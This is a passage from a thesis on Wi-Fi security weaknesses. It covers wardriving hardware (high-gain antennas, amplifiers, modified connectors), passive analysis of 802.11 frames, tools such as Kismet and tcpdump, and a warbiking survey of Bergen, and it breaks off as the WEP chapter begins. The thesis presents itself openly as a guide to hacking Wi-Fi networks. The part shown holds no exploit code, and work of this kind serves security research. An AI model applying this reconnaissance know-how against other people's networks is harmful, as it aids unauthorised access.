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Preface

This thesis explores security vulnerabilities in Wireless-Fidelity ( Wi-Fi ) networks. A
thorough description of critical security holes and practical examples of attacks are
given.

First a guide to the necessary equipment and how to set it up asan attack platform
is provided. Later it is demonstrated how the lack of security may aid a malicous
hacker to exploit interesting targets beyond the realm ofWi-Fi . Enough detail is
provided to enable duplication of the practical work done inparallell to writing this
thesis.

The aim is to give the reader a greater insight into how computer systems are
utilized by hackers, and eventually enable the design of more secure systems. For this
reason the targetted reader is one with an interest in computer security in general.
Necassary knowlegde of wireless networks is provided.
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Chapter 1

Introduction

A Wireless-Fidelity (Wi-Fi ) network will give nearby computer enthusiasts (Figure
1.1) an oppurtunity to break into the attached wired network. The most critical
security vulnerability damagingWi-Fi was published in 2001 [32], four years after the
conception ofWi-Fi , and two years after it became an international standard [22].
Other 
aws in Wi-Fi have been appearant for an even longer time. Attacks on them
have been improved, re�ned and combined in software tools that automate portions
of the attacks.

Figure 1.1: Myself as a Wi-Fi hacker a TV-documentary called\Secret Ciphers."

Poorly securedWi-Fi networks can be utilized to attack networks and corpora-
tions from the inside, instead of attempting to do it externally from the Internet. A
badly securedWi-Fi network can be exploited for other purposes that do not directly
threaten the owner of the compromisedWi-Fi network. The wireless intruder can
conceal his identity (e.g. from the network owners) and yet,if he wishes, reveal it to
others (e.g. authenticate to a public e-mail server). Thosewho know the identity of
the hacker cannot expose him to the owner of the compromised network, they can't
even be sure if he has gained access by suspectable means.

Many owners ofWi-Fi networks are oblivious to the risks involved and fail to
secure their networks adequatly. Even large corporations may not be able to secure

1



2 CHAPTER 1. INTRODUCTION

their Wi-Fi networks as much as they wish. The constraints following a secure imple-
mentation will not always enable all of their users to connect with the ease required.
More secure systems are complex, and interoperability can become a problem. For
this reason, the percentage of vulnerableWi-Fi networks is high. In the city of Bergen,
March 2006, well over 50% of the detectedWi-Fi access points were completly open,
and another 15% were secured with inadequate mechanisms (survey results in Section
2.6.)

1.1 What is Wi-Fi Security?

Wi-Fi depends on cryptographic methods to enable security. In this thesis, the Wired
Equivalent Privacy (WEP) and Wi-Fi Protected Access (WPA) security mechanisms
provide the security as de�ned by [22, Ch. 8]:

Privacy: Data transmitted in the network should not be readable by anyone but
those communicating.1

Authentication: Only clients who know a shared secret may connect to the network.

WEP was the �rst cryptographic protocol developed forWi-Fi to enable privacy and
authentication. WEP, however, was not secure after all. To rectify the security issues
with WEP, the Wi-Fi Alliance pushed a new cryptographic protocol,WPA. Since
then, a common practice of securing aWPA enabled network with passwords has
been discovered to be vulnerable to an o�ine dictionary-attack. Even thoughWPA
itself is thought to be secure, apart from the dictionary-attack, it was a quick �x
to the problems in WEP. WPA is a subset of a Robust Security Network (RSN)
which was introduced in an early draft of a security standarddeveloped by Institute
of Eletrical and Electronics Engineers (IEEE) denoted 802.11i [20]. Other than the
similarities betweenWPA and RSN, IEEE 802.11i is not covered in this thesis.

1.2 How is Wi-Fi Used?

With the advent of Wi-Fi , wireless technologies have become inexpensive, user-
friendly and available to a large number of people and companies. In dense urban
areas, access points belonging to di�erent individuals areso closely spaced that their
coverage areas overlap. The survey performed in Section2.6 shows this is true for
the city of Bergen.

With its popularity and the availability to anyone within ra nge, many individuals
detect Wi-Fi networks as a hobby. Wardrivers bring their laptops and Wi-Fi gear

1With WEP, anyone participating in the network can eavesdrop on otherconversations in the
network.
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into their cars. With the aid of a Global Positioning System (GPS) receiver and
an antenna, they explore areas and map the locations and coverage areas of access
points. Some do it for the fun, and some with the intent to exploit vulnerable Wi-Fi
networks. Warbikers and warwalkersdo the same by other means of transportation.

1.3 Structure of Thesis

The goal of this thesis is to break the security ofWi-Fi networks. First, a platform
to attack Wi-Fi networks is described. Secondly, known security weaknesses are
explained and attacks on them are performed. Depending on the severity of the
weakness, it is demonstrated how to take advantage of theWi-Fi network to launch
other more conventional attacks.

Chapter 2 starts o� as a guide toWi-Fi equipment and software essential to aWi-Fi
hacker. Then it is explained how to get basic information about a targetted Wi-
Fi network.

Chapter 3 points out weaknesses in the security ofWi-Fi networks. All weaknesses
are discussed and example attacks are performed and analyzed.

Chapter 4 discusses how an intruder can use a compromisedWi-Fi network, mostly
with focus on how to use anonymizing networks in combinationwith the Wi-Fi
connection. Simple examples are given and analyzed.

Chapter 5 sums up the thesis. A re
ection on the thesis' value, and directions for
further work mark the end.





Chapter 2

How to Identify Wi-Fi Networks

This chapter serves as a guide to getting started with hacking Wi-Fi networks. The
ability to gather intelligence on a network is crucial to anyone attempting to attack a
Wi-Fi network. After reading through the chapter, knowledge on how to construct a
descent platform for further hacking should be in place. Basic understanding of the
operation of Wi-Fi is provided, and hints on how a network may be manipulated is
explained.

2.1 Introduction

As stated in Chapter1, there is a surprising amount ofWi-Fi networks in populated
areas. Locating most of them is as trivial as following the instructions manual of
any wireless card. It will explain how to locate an accompanying access point. The
same instructions will work for locating a neighbor's access point. To automate the
task of searching for access points, many software tools have been developed. Some
of the tools contain quite a lot of features, even the abilityto �nd so-called \hidden"
networks. By combining coordinates from aGPSreceiver and measurements of signal
strengths, it is possible to calculate an estimate of the range of the network and even
the center where the access point may be found. To create a visible picture of the
distribution of the Wi-Fi networks, the coordinates are used to plot detected access
points on a map. This makes for some interesting maps which may be used by
engineers when designing or extending aWi-Fi network. However, it may also be
maliciously used to enlighten fellow hackers where they mayobtain access to open or
poorly secured networks. As covered extensively in Chapter4, Wi-Fi networks give
crackers one of the most anonymous methods to obtain access to the Internet.

Going a step further than simply locatingWi-Fi networks by capturing packet
tra�c, is analyzing the contents of the packets. Quite a lot of useful information
can be extracted. Even encrypted data packets have plaintext headers. In the case

5



6 CHAPTER 2. HOW TO IDENTIFY WI-FI NETWORKS

of Wi-Fi , a whole category of command and control packets must be transmitted
in plaintext. Naturally, decrypted packets reveal more details, probably details that
engineers already know, but that crackers will go to great lengths to obtain.

2.2 Background

2.2.1 What is a Wi-Fi Network?

Wi-Fi networksat the very least consist of two entities that communicate without the
use of any wires. They follow a standard set of rules to achieve their communication,
the standard is known asIEEE 802.11, [21] or just 802.11. The nameWi-Fi comes
from the Wi-Fi Alliance.1 Wi-Fi certi�ed equipment, tested and approved by the
Wi-Fi Alliance, bears theWi-Fi logo in Figure 2.1. Only Wi-Fi certi�ed equipment
is guaranteed to be interoperable, even though non-certi�ed equipment also follow
the standard laid out by IEEE. The terms Wi-Fi and 802.11 are none the less inter-
changeable in common day speech, and also in this thesis. The802.11 standard was
initially �nished in 1997. In 1999, it was made an international standard. Its use is
still growing and 802.11 is considered a huge success in terms of adaptation. In 1999,
two new versions, 802.11a and 802.11b, were introduced to enable higher data rates.

Figure 2.1: TheWi-Fi Alliance
logo. Figure 2.2: A Wi-Fi access

point.

2.2.2 How does Wi-Fi Work?

There are two basic modes of operation speci�ed in the standard. The most commonly
used mode is theinfrastructure mode.2 The infrastructure mode allows for either one
of the entities to be an access point such as the device in Figure 2.2. The other
entities are referred to asclients. The method of communication is illustrated in

1The Wi-Fi Alliance is a non-pro�t industry trade association involvi ng among others companies
that are implementing the 802.11 standard in their products.

2320 out of 328 networks from the survey in Section2.6 is in infrastructure mode
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Figure 2.3 (a). Ad-hoc mode, illustrated in Figure 2.3 (b), is the second mode of
operation. In ad-hoc mode all entities are considered clients. Ad-hoc mode may
also be referred to asindependent mode. Stations in ad-hoc mode participate in an
ad-hoc network, likewise if they are in infrastructure mode they participate in an
infrastructure network.

(a) Infrastructure. (b) Ad-hoc.

Figure 2.3: Modes of operation.

To support communication over a wireless medium, thewireless interfaceof a
client or access point contains aradio and an antenna. To avoid interference and
allow networks to operate in the same locations,IEEE 802.11 [22] speci�es groups of
frequenciesthat may be utilized by a network. Two groups are in the radio frequency
band and one in theinfrared band of the electromagnetic spectrum.

The radio frequencies available toWi-Fi are in the 2.4 GHz Industrial, Scienti�c,
and Medical (ISM) band and the 5 GHz Unlicensed National Information Structure
(U-NII ) band. Depending on regulatory authorities, the range usedby IEEE 802.11b
and 802.11g is 2.402-2.495 GHz, and 5.12-525, 5.25-5.35 and5.725-5.875 GHz for
IEEE 802.11a. TheIEEE 802.11 standard divides the 2.4GHz band into 14channels,
but only three non-overlapping channels, [22, Sec. 15.4.6.2]. The 5 GHz band on
the other hand is divided into 12 non-overlapping channels.A Wi-Fi network may
operate in all of these channels, but a single wireless interface may only operate in
one channel. Thedata rate of a channel can be dynamically adjusted depending on
the quality of the channel. The initial version of 802.11 supported data rates up to 1
Mbps and 2 Mbps, later 11 Mbps (IEEE 802.11b) and up to 54 Mbps (IEEE 802.11a
and 802.11g). SomeWi-Fi equipment support data rates up to 108 Mbps by utilizing
several channels at the same time (Super G and Turbo G).

The primary ideas in theIEEE 802.11 speci�cation to enable discovery and com-
munication with other computers are the special beacon frames and probe request/re-
sponse frames. Beacon frames are broadcasted from an accesspoint normally ten
times a second so that clients can easily determine available wireless networks in
the area. Clients can also explicitly broadcast a probe request frame that may be
answered by an access point to let the client know it is there.
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2.2.3 Availability

The infrared basedIEEE 802.11 devices are virtually non-existent,3 as will they be in
this thesis. Products with 802.11b (without g) are still common in new devices, mostly
in small embedded devices such as smart phones (Q-Tek 8310),handheld computers
(iPAQ), printers (HP), video projectors, cameras, etc. High-end notebooks often have
all of 802.11 b, g and a. Entry and mid-level notebooks have 802.11 b and g, but
not a.

2.3 Hardware Equipment

2.3.1 Mobile Computer Platform

Figure 2.4: PDA with Linux and
an internal Wi-Fi network inter-
face.

Figure 2.5: Laptop with an in-
ternal Wi-Fi network interface.

Notebook computers are probably the most widely used platform to survey avail-
ableWi-Fi access points. Hand-held computers provide even better mobility and may
be more practical when executing a survey on foot. However, it is cumbersome to
reinstall a hand-held computer, such as the one in Figure2.4, with the necessary soft-
ware, including Linux.4 Wardrives will usually prefer a notebook because it provides
adequate mobility and can easily be hooked up to the vehicle's AC power supply. The
large screen real-estate to follow events during a survey issometimes desirable. The
scenario is di�erent for warwalkers and warbikers.5 They must rely solely on battery
power and have no means to carry a wide-open notebook. A handheld computer, or a
closed notebook, is a better choice in this case. A closed notebook can provide audi-
ble feedback during warbiking as mentioned in Section2.5.1, or a bluetooth enabled

3Spectrix corporation seems to be the only known manufacturer.
4Linux is an operating system that is very 
exible in that it al lows anyone to do almost anything

with a computer.
5Warwalking and warbiking may be more suitable than wardriving in rural areas consisting of

many one-way roads and other streets not accessible by car.
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cellphone may be connected to the laptop in order for the laptop to display important
events.

2.3.2 Wi-Fi Network Card

The Wi-Fi network card, such as depicted in Figure2.6, is the link between the
computer and theWi-Fi network, commonly referenced to as thewireless network in-
terface. It contains a radio implementing modulation techniques from IEEE 802.11.
Firmware running on the hardware device abstracts the hardware device from the
operating systems device driver. Tasks done by the �rmware could have been imple-
mented in the device driver but the �rmware is a solution to make it very di�cult to
operate the radio in an unlicensed manner.

(a) Inside of a Prism GT based card.

(b) With a soldered-on antenna cable.

Figure 2.6: Wi-Fi network interface cards.

Whenever an external antenna is required, the wireless network card must have
a antenna connector. This is more cumbersome to get than at �rst thought. Most
governments impose restrictive laws6 on how radios may operate and be modi�ed.
Connecting external antennas may change the density of the radiating signal to limits
outside of those allowed, something discussed further in the next section. One of the
methods of obstructing modi�cations has been to require manufacturers to mount only
proprietary connectors to theirWi-Fi cards. Thus, restricting the choice of external
antennas to those tested and approved by the manufacturer and the government body.

6Government bodies regulating the relevant laws are Post og Teletilsynet in Norway, and Federal
Communications Commission (FCC) in the United States.
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The card in Figure 2.6 has such a connector located inside its case. Some soldering
will permanently \�x" the problem of proprietary connector s, resulting with the card
in Figure 2.6 (b).

There are many di�erent chipsets available for 802.11a/b/gcards. Not all of them
perform equally well, especially in regard to Linux support. Getting the network card
to function at all can be di�cult. A wardriver will need a card that he can put into
a special mode calledmonitor mode. In this mode, the network card will not try to
associate with any access point. All it will do is capture packets and forward all of
them to the operating system drivers. The best choice at present is a card with an
Atheros chipset where theMadWiFi [3] drivers can be used. More recently, Ralink [6]
has been very helpful constructing very good device driversfor network cards based
on their Ralink chipset.

In monitor mode it has typically not been the intention that the card should be
able to transmit frames. This however has recently been recti�ed in newer device
drivers for chipsets based on Prism GT, Atheros and Ralink. Afew attacks use this
possibility in active attacks with a single network card, more on this in Chapter 3.

Notebooks purchased today usually have an integrated Mini-PCI Wi-Fi card. Cur-
rently the common chipset is from Intel, but Atheros also make very good chipsets
for Mini-PCI cards. Drivers have been released by Intel themselves that will support
monitor mode, but it cannot be used to inject frames concurrently. Most of the time
mini-PCI cards have a standard connector that can be used without too much hassle
to connect external antennas|such as the one built around a good notebook's screen.
The connector is known as aU.FL connector.

2.3.3 Antenna

An antenna is used to focus or restrict the signal sent from the wireless network
card into a certain pattern or path. Analogous to the transmit case, it will receive
signals in the same path. The main purpose is to increase the strength of the receiving
or transmitting signal. It may also be used for the purpose ofhaving the radio sealed
or located elsewhere than its coverage area. Antenna construction and design is a
major �eld in its own and requires a fairly good understanding in the behavior of
radio waves. Although with the popularity of Wi-Fi , a large number of simple to
understand manuals have appeared on the Internet. They makeit possible for the
layman to experiment with some common designs. The term \cantenna" is a product
of this|ordinary household cylinders such as the cylinder with Pringles chips, are
made into antennas.

dBi is an important part of the antenna speci�cations and in simple terms it
translates to how much a signal's strength has increased when received or transmitted.
Consider an antenna that transmits its signal uniformly outwards in a sphere-shaped
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(a) Magnet-
mounted
antenna.

(b) Gain pattern in the
vertical plane.

(c) Gain pattern in the
horizontal plane.

Figure 2.7: 2.4 GHz 5.5 dBi omni-directional antenna.

(a) Picture of
the antenna.

(b) Gain pattern in the
vertical plane.

(c) Gain pattern in the
horizontal plane.

Figure 2.8: 2.4 GHz 30 dBi directional antenna.
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volume, this type of antenna is called an \isotropic radiator" and is considered to
have 0dBi gain. It is the basis for the E�ective Isotropic Radiated Power (EIRP),
which is the amount of power a transmitter would need to produce the same signal
strength through an isotropic radiator. Decibel (dB) uses a logarithmic scale. A gain
of 3 dBi in e�ect nearly doubles the signal strength. As such the \cantenna" with
a 6 dBi gain provides approximately 2

6dBi
3dBi = 4 times more signal strength than an

isotropic radiator would with the same input.
Antenna designs can be brought down to two main designs|directional and omni-

directional. With omni-directional antennas such as the one depicted in Figure2.7,
the radio signal will spread in 360o, however, the signal is not wasted on birds and
earthworms. A directional antenna's purpose is to concentrate the radio signal into a
fairly narrow direction. Anything from 180� to a narrow 7� as the antenna in Figure
2.8.

Engineers will typically want to �nd the area where it's possible to connect to
the Wi-Fi network. Unless the clients are stationary, it is pointless to use high-gain
directional antennas since such antennas are not used by ordinary mobile clients.

Crackers on the other hand may only be interested in listening in on the data
tra�c. As such they would like to know all locations where it is possible to hear the
access point. Although a position closer to the access pointwill most likely result in
more captured tra�c, it may not be a desirable hiding spot. All good reasons why a
cracker has a high-gain directional antenna.

2.3.4 Ampli�er

Figure 2.9: 2.4 GHz 1 W outdoor ampli�er.

Ampli�ers increase the output power of the transmitted signal and thus extend
the range of the signal. A standardWi-Fi network card will transmit its signal with
an output e�ect of maximum 100 mW. The ampli�er in Figure 2.9 has an output
e�ect of 1 W|a 30 dB gain in signal strength from 100mW, or about the same signal
strength radiated by the 30 dBi directional antenna in Figure 2.8. Ampli�ers can be
purchased on the Internet for under$ 200.

Engineers who wish to survey their Wi-Fi network will typically not want to use
an ampli�er as these aren't used by the average mobile client. But to a cracker, an
ampli�er is useful when injecting packets or connecting to the network.
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Ampli�ers are commonly used to compensate for signal-loss in a long antenna
cable. The ampli�er is then best inserted near the antenna sothat a weak signal
picked up by the antenna is not lost when transmitted throughthe cable.

2.3.5 GPS Receiver

(a) USB interface. (b) Bluetooth in-
terface.

(c) CompactFlash
interface.

Figure 2.10: GPS receivers.

A GPS receiver is able to notify the computer of its current location nearly any-
where on earth. Every second it calculates the position withan accuracy of around
5{25 meters in three dimensions. It works by decoding signals broadcasted fromGPS
satellites. The signals carry time stamps. By measuring thelength of time the sig-
nals travel before they reach the receiver the location is computed. It's important to
understand that the GPS receiver never transmits anything back to a satellite. In
that respect it is a passive device.

To improve the performance ofGPS receivers, a new technology, Di�erential
Global Positioning System (DGPS), has been developed.DGPS gives an accuracy
down to 1 meter in optimal conditions.

A GPS receiver unit that can plug into a laptop is needed for warbiking. The
same software that recordsWi-Fi packets store the physical positions where they
were captured. The data is combined in interesting ways as will be described in
Section2.5.1.

As most wardriving software is open source its highly advisable to use aGPS
receiver with an open or reverse-engineered protocol for its communication with the
laptop computer. The protocol developed byNMEA [4] is one of the more popular
protocols used by Universal Serial Bus (USB)/RS232 connectedGPSreceivers (Figure
2.10 (a)). It has been almost completely reverse-engineered andcan be interfaced
without much e�ort with any application.

GPS receivers that communicate with the laptop via Bluetooth (Figure 2.10(b))
use RFCOMM and are therefore identical toUSB/RS232 type GPS receivers apart
from being wireless. Wardrivers must be aware that Bluetooth uses the same 2.4 GHz
ISM band as 802.11b/g. Obviously, this causes some interference (report on this in



14 CHAPTER 2. HOW TO IDENTIFY WI-FI NETWORKS

[34]) which leads to less captured packets. Paranoid crackers will �nd that this short
range radio communication may expose them more than they like.

Handheld devices have additional options depending on its available slots, perhaps
a CompactFlash-styleGPS receiver (Figure2.10(c)).

2.4 Analyzing Wi-Fi Network Tra�c

Figure 2.11: MAC frame format.

Every packet transmitted in Wi-Fi networks contain bits of information used to
maintain the various layers of the communication. Althoughpackets may be en-
crypted in Wi-Fi networks, they still have plaintext headers. As this section will
show, the headers are valuable to anyone analyzing the network. The entire MAC
frame displayed in Figure2.11 is easily available to user-space tools in Linux.7 All
packets in aWi-Fi network conform to the MAC frame format. The Frame Control
�eld speci�es which type of payload theMAC frame transports. There are three main
types of packets and many subtypes. The main types, in bold, and their subtypes,
are:

1. Management: Association, Probe, Beacon, and Authenticati on.

2. Control: RTS , CTS , PS-Poll, ACK , CF -Ack/Poll.

3. Data: Data, Data + CF -Ack/Poll and Null-function.

In the following sections, only the interesting �elds of interesting frames are dis-
cussed.

2.4.1 Information From All Frames

Figure 2.12shows the frame control �eld. From it, the following information can be
extracted.

7Put the interface into monitor mode and it will pass on the entire MAC frame to listeners.
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Type Subtype
To
DS

From
DS

More
Frag

Retry
Pwr
Mgt

More
Data WEP

Protocol
Version Order

Bits: 2 2 4 1 1 1 1 1 1 1 1

B0 B1 B3 B4 B7 B8 B9 B10 B11 B12 B13 B14 B15B2

Figure 2.12: Frame control �eld.

Network is part of a WDS 8: ToDS = 1 and FromDS = 1.

Network is in ad-hoc mode: ToDS = 0 and FromDS = 0; and Type = Data.

Network is in infrastructure mode: ToDS = 1 or FromDS = 1; and Type =
Data.

Additionally, every captured frame includes signal-strength measured by the radio
receiver. When combining this data withGPS-coordinates, it is possible to estimate:

Network range: Wherever frames from an access point where received.

Access point location: Triangulate from position and signal strength of frames
transmitted by the access point and captured in multiple locations.

Client location: Same procedure as above, but only on frames transmitted from
the desired client.

Buildings, other obstacles, and multipath fading will reduce the accuracy of the
estimations. Moving clients or access points are not handled either and introduce
errors.

2.4.2 Information From Data Frames

WEP or WPA encryption: B14 = 1

Type of payload: E.g. if the destination address is the broadcast address, and the
size of the payload is 68 bytes, then it is very likely to be an Address Resolution
Protocol (ARP) request (used in Section3.3.5.)

Network is a bridge 9: Only data packets with Frame Capability: ToDS = 1 and
FromDS = 1, are transmitted.

MAC address of access point: In MAC header: Address 1, 2 or 3.

MAC address of mobile stations: In MAC header: Address 1, 2, 3 or 4.
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MAC address of wired stations: In MAC header: Address 1, 2, 3 or 4.

Another piece that is valuable is theIV . It is sent with every data frame in an
encrypted network. The IV and the use of makes it possible to guess from sni�ed
data frames exclusively, if the encryption scheme isWEP or WPA. When comparing
frames from the same transmitting address, theIV is di�erent with each frame for
WEP. But WPA has duplicate values in the 3-byteIV �eld several frames in a row,
only the Extended Initialization Vector (EIV ) values change for each �eld.

The payload of the data frames can beARP, Internet Protocol (IP) [28], Inter-
net Control Message Protocol (ICMP) [27], Transport Control Protocol (TCP) [29],
Universal Datagram Protocol (UDP), etc. All of these are appended to Subnetwork
Access Protocol (SNAP) [30] headers which are speci�c to ethernet. The di�erent
types of packets and knowledge of their structures are used in the next chapters to
enable and improve some of the attacks described there.

2.4.3 Information From Management Frames

Some management frames transmit many parameters about the network. The beacon
frame is one of them. Access points will broadcast beacon frames to inform stations
that they are available. The frames provide enough information for a client to be able
to join the network. However management frames are strictlyused to administer the
network connections. They do not send any data from the application layer.

The capability �eld is part of the beacon frame. Its structure is depicted in Figure
2.13.

Figure 2.13: Capability �eld of the beacon frame.

From the capability �eld the following useful information can be extracted:

Network is in infrastructure mode: B0 = 1 and B1 = 0.

Network is in ad-hoc mode: B0 = 0 and B1 = 1.

WEP is required: B4 = 1.

Other �elds that can be extracted from the frame body of a beacon frame are:
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Beacon interval: is the time between each transmitted beacon frame (typically
100*1024us = 100ms).

Service Set Identity ( SSID ): a string of maximum 32 bytes/characters that gives
a human readable identi�cation of aWi-Fi network. It also serves another pur-
pose to group together multiple access points to form a network of collaberating
access points.

Supported rates: a "list" of supported transmit rates in the network.

Extended supported rates: other supported rates.

Channel: the channel the network is operating on.

The Basic Service Set Identi�er (BSSID) discloses information about who manu-
factured the access point. The �rst 16bits of theBSSID can be looked up from an
IEEE database [10]

2.4.4 Summary

Available information from passively capturing ordinaryWi-Fi tra�c is compiled in
Table 2.1

Table 2.1: Information available from an analysis of Wi-Fi frames.
Fact Frame Requirements
WDS Data 1 frame
Ad-hoc/Infrastructure Beacon/Probe/Data 1 frame
Network range Any 3 frames andGPS
Client/Access point location Any 3 frames andGPS
WEP Beacon/Probe/Data 1 frame
WPA Beacon/Probe/Data 1 frame
SSID Beacon/Probe 1 frame
Access pointMAC address Any 1 frame
Client MAC address Probe Request/Data 1 frame
Wired client MAC address Data 1 frame
Contents of data Data Intelligent guess

2.5 Software Tools

Software is equally as important as the hardware involved incapturing information
about Wi-Fi networks. Software tools described in the following sections reduce the
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amount of e�ort needed for anyone to study a network. There are di�erent tools for
di�erent purposes, some tools, such as Kismet, give a good overview over a network,
or several networks, while others like Ethereal give details about every byte or even
bit of a packet. Another tool called Ettercap makes it easy tofollow connections,
which consists of related packets.

Altough, as pointed out, its possible to learn a great deal about a network from its
beacon frames. However, an engineer simply listening for beacon frames will not gain
much knowledge he didn't already know. An engineer will typically want to know
from where it is possible to use and connect to the network. Since it is likely that a
client can hear the access point but not the other way around,engineers will want to
go as far as associating with the access point under a site-survey.

If a cracker associates with the access point he becomes muchmore exposed.
The process of associating requires two-way communication. The second the cracker
transmits packets, the attack has become \active". It is well known that active
attacks are much more dangerous for a hacker, he may even be located or examinated
himself.

2.5.1 Kismet

Kismet [2] is the de facto software tool for wardrivers. It uses most ofthe information
in Section2.4 and gives the wardriver a simple and user friendly UI with an overview
of detected access points.

Figure 2.14: Kismet under Linux.
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In case visual feedback is di�cult, come to mind warbikers and warwalkers, Kismet
interfaces with a text-to-speech library and may inform itsuser of events via an
earplug.

Kismet will communicate directly with the GPS receiver and record the position
of every single received packet. This enables it to guess thephysical location of
the access point. An arrow in the user-interface tries to point the user in the right
direction to the access point.

All currently available commercial Wi-Fi cards are restricted to listen on only
a single channel at a given point in time. Kismet instructs the card to jump from
channel to channel. It can also use two or more network cards to listen in on multiple
channels at a time. Kismet can be locked on to a speci�c channel to capture as much
tra�c from there as possible. Kismet compiles interesting statistics such as channel
usage distribution and the percentage ofWEP or WPA enabled networks.

Some access points disable broadcasting of theirSSID in beacon frames or probe
responses. Hiding theSSIDis used to increase the security since only clients that know
an access point'sSSID are able to associate with it. But because management frames
are transmitted in cleartext theSSIDis also sent in cleartext when an \authenticated"
client associates (authenticated in the sense that it has proved that it knows the
\secret" SSID). Kismet will use this packet to display the network name of even
so-called \hidden" or \cloaked" Wi-Fi networks.

2.5.2 TCPDump

TCPDump is an excellent tool to follow and �lter communications in real time. In
Listing, 2.1 TCPDump listens on an associatedWi-Fi link for ARP packets. The
tcpdump command is executed. Each line, apart from the �rst two contain a descrip-
tion of the captured packet. The �rst packet captured is anARP request, captured
at 11 hours, 58 minutes 1.704626 seconds. The request is asking for who has theIP
address192.168.1.2 and to send theARP response to192.168.1.213. The request
goes unanswered since nobody owns192.168.1.2. Later the request for 192.168.1.213
is replied to by the network card withMAC address00:0e:35:a3:0f:56since that card
owns the192.168.1.213IP address.

Listing 2.1: Looking for ARP packets.
# tcpdump -i eth2 arp
tcpdump : verbose output suppressed , use -v or -vv for ful l pr otocol decode
listening on eth2 , link - type EN10MB ( Ethernet ) , capture si ze 96 bytes
11:58:01.704626 arp who - has 192.168.1.2 tel l 192.168.1.2 13
11:58:02.704491 arp who - has 192.168.1.2 tel l 192.168.1.2 13
11:58:03.704355 arp who - has 192.168.1.2 tel l 192.168.1.2 13
11:58:44.184709 arp who - has 192.168.1.213 tel l 192.168.1 .1
11:58:44.184733 arp reply 192.168.1.213 is -at 00:0 e :35: a 3 :0 f :56 ( oui Unknown )
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2.5.3 Ethereal

Figure 2.15: Ethereal under Linux.

Ethereal is useful for an in depth look at a single packet including all available
headers. Libraries over the structure of several types of packets give the user hints
for each fragment of a packet. If Kismet does not provide enough feedback of what it
�nds, then Ethereal may be used to dig out the valuable parameters on the network or
communication. Figure2.15 is a screenshot of Ethereal. The �rst list in the window
gives frames that are captured by the monitoringWi-Fi network interface card. A
dissection of an Acknowledgment frame is displayed in the list below. Fields of the
frame are described in human-readable sentences or words. The last list in the window
is the raw frame in hex-notation, and American Standards Character (ASCII) to the
far right.

2.5.4 Netstumbler

Netstumbler tries to actively associate with access points. It will send out probe
requests. Netstumbler has its greatest use to engineers surveying their own Wi-Fi



network.

2.5.5 GPS Map Plotter

GPSMap is used to plot detected access points on a geographical map. As it is part
of Kismet, it uses records stored by Kismet to do more accurate guesses of network
centers and its coverage area. Maps are fetched from map servers on the Internet.
The algorithms used by GPSMap to do its calculations have a number of assumptions
such as 
at landscapes, omnidirectional antennas and naturally gives rise to inaccurate
plots. It still does give a good overview. Unfortunately, the map servers that can be
used to fetch maps over Norway have since changed their protocols. At the moment
one needs to manually fetch a map from somewhere and give GPSMap the scale and
location of the map.

2.6 Results From Warbiking in Parts of Bergen

Several bike trips reveal there are many access points available on the streets of
Bergen. A survey [16] on February 6th 2005 from 21:27 to 22:05 revealed 374 access
points of which only 33% were setup withWEP or WPA encryption. The access points
have been plotted in Figure2.16. However it does not mean that it is possible to gain
access to 67% of the other access points. They may be �tted with Virtual Private
Network (VPN) solutions or Captive Portals such as NoCat [5]. When zooming in
on the map red and green dots will appear along with labels. The label is theSSID
of the access point. The red dots are access points withWEP or WPA enabled, the
green dots are those that don't use encryption.

Biking around the city with a laptop, small antenna and aGPS unit caused no
suspicion. Even when passing patrolling police men. But when �lming for the TV-
Documentary \Secret Ciphers", sitting in the back of a van with an 18 dBi antenna
mounted outside of it caused some curious people to ask questions.

2.7 Conclusion

Anyone can obtain equipment necessary to start hackingWi-Fi networks. Some
knowledge is needed to get equipment that is compatible witheach other and that has
functional software drivers. The software that is available has matured and contain
a lot of features that are desirable. The bits of informationbroadcasted by aWi-Fi
network is of enough interest to create a new term, wardriver.
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Figure 2.16: Warbiking map over the center of Bergen.



Chapter 3

Breaking the Security of Wi-Fi

In this chapter the 
aws of Wi-Fi security are explained and demonstrated. The
di�erences betweenWEP and WPA serve to divide this chapter into two parts. Since
WEP has the greatest number of vulnerabilities,WEP is where the main focus is
directed. WPA is interesting since it replacesWEP in many circumstances, but is
still insecure to a limited extend. Trickery on supplemental security mechanisms such
as MAC address �lters are explained last, until a summary closes the chapter.

3.1 Introduction

Wi-Fi has a lot of security vulnerabilities. Unfortunately for Wi-Fi the vulnerabilities
and the severity of them became widely known too late. At the time of the famous
paper on how to crack aWEP key, early 2001, there were already millions of 802.11
products sold world-wide. At that point, issuing a �x or recalling all products was
not feasible. Instead, consumers in need of better security, supplementedWEP with
VPN and IEEE 802.1X [23]. New products had to be able to operate with older
and broken WEP enabled products. More secure alternatives, such asWPA, were
introduced later and could only be made available as an addition to WEP. The
complexity of setting up a secure wireless network increased and the percentage of
wireless networks that use the best mechanisms to enable security is not as high as
it should be.

The �nal replacement for both WEP and WPA; IEEE 802.11i [20], also referred
to as Wi-Fi Protected Access version 2 (WPA2) by the Wi-Fi Alliance, is at present
considered secure, but is not discussed in this thesis.

The practical examples in this chapter are executed on the Linux operating system,
but most of them can also be performed from the Windows platform.1 Still the

1As with Linux, only a limited set of network card drivers prov ide the necessary functionality in
Windows.

23
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instructions executed in Linux will be explained to the point where a Windows-only
user can follow the attacks.

3.2 Background

3.2.1 Connection/Access Protocol in Wi-Fi Networks

Figure 3.1: The protocols of connecting to a Wi-Fi network.

Figure 3.1 illustrates the basic protocols and 
ow of frames when connecting to
an access point. First the client will detect access points either by sending a probe
request and receiving a probe response, or purely by lookingat the beacon frames
frequently transmitted by an access point. Upon discovery,the client may try to
authenticate to the access point. If successfully authenticated, the client may try to
associate with the access point by sending an association request. If permitted by the
access point the client will receive a positive associationresponse. WheneverWPA is
enabled, the shared-key authentication mechanism ofWEP is skipped (open system
authentication is used), and the real authentication is performed after association.
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During this four-way handshake, important keys are generated and exchanged. After
the initialization, the client is permitted and able to sendand receive data frames to
and from the network.

3.3 Wired Equivalent Privacy (WEP)

3.3.1 Background

Initialization
Vector (IV)

Secret WEP-key

Plaintext

RC4
PRNG Algorithm

Integrity Check
Value (ICV)

Seed Key Sequence

Integrity Algorithm

IV

Ciphertext

Message

Figure 3.2: WEP encipherment block diagram [22, Fig. 44].

In this section a short introduction to the operation of WEP provided. The
de�nition of WEP as speci�ed in [22, Ch. 8] states that WEP is only meant to give
Wi-Fi the same security attributes that are inherent to an equivalent wired network.
Unfortunately, WEP does not provide this level of security.

From the de�nition of WEP the question is raised of what the physical security
attributes of a wired medium are. In a guided medium, the ideais that only prede�ned
stations, source and destination, may listen on tra�c in addition to the switching
boards. Considering early implementations of Ethernet networks which used hubs,
